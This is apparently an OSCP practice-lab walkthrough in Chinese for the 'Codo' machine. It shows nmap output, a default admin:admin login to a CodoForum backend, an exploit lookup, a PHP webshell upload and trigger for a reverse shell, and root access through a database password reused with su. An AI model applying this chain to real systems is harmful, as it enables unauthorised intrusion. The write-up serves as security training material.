OSCP靶场--Codo

考点

1.nmap扫描

bash 复制代码

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.229.23 -Pn -sV -sC --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-25 05:04 EDT
Nmap scan report for 192.168.229.23
Host is up (0.35s latency).
Not shown: 998 filtered tcp ports (no-response)
Bug in http-generator: no string output.
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: All topics | CODOLOGIC
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.55 seconds

2.user priv

bash 复制代码

## http://192.168.229.23/admin/admin/?page=login
## 默认密码：admin:admin登陆后台：

## 确认版本，查找exp:
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit codo     
------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
CodoForum 2.5.1 - Arbitrary File Download                                                                    | php/webapps/36320.txt
CodoForum 3.2.1 - SQL Injection                                                                              | php/webapps/40150.txt
CodoForum 3.3.1 - Multiple SQL Injections                                                                    | php/webapps/37820.txt
CodoForum 3.4 - Persistent Cross-Site Scripting                                                              | php/webapps/40015.txt
Codoforum 4.8.3 - 'input_txt' Persistent Cross-Site Scripting                                                | php/webapps/47886.txt
Codoforum 4.8.3 - Persistent Cross-Site Scripting                                                            | php/webapps/47876.txt
CodoForum v5.1 - Remote Code Execution (RCE)                                                                 | php/webapps/50978.py
Qcodo Development Framework 0.3.3 - Full Information Disclosure                                              | php/webapps/16116.txt
------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
                                                                                                                                              

                                                                                                                                               
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit -m php/webapps/50978.py 
  Exploit: CodoForum v5.1 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50978
     Path: /usr/share/exploitdb/exploits/php/webapps/50978.py
    Codes: CVE-2022-31854
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (3846)
Copied to: /root/Desktop/50978.py

## exp自动利用失败，手动上传webshell利用：
浏览器上传：webshell:
https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php
浏览器触发反弹：http://192.168.229.23/sites/default/assets/img/attachments/lrshell.php

后台登陆，确认版本：

浏览器上传：webshell:

https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php

浏览器触发反弹：http://192.168.229.23/sites/default/assets/img/attachments/lrshell.php

3. root priv

bash 复制代码

## 
╔══════════╣ Searching passwords in config PHP files
  'password' => 'FatPanda123',      

##############
##
www-data@codo:/$ su offsec
su offsec
Password: FatPanda123

su: Authentication failure
www-data@codo:/$ su root
su root
Password: FatPanda123

root@codo:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@codo:/# cat /root/prooft.xt
cat /root/prooft.xt
cat: /root/prooft.xt: No such file or directory
root@codo:/# cat /root/proof.txt
cat /root/proof.txt
f916447eb68dd1064fc452eb1a89896e

4.总结：

su切换用户多尝试几个用户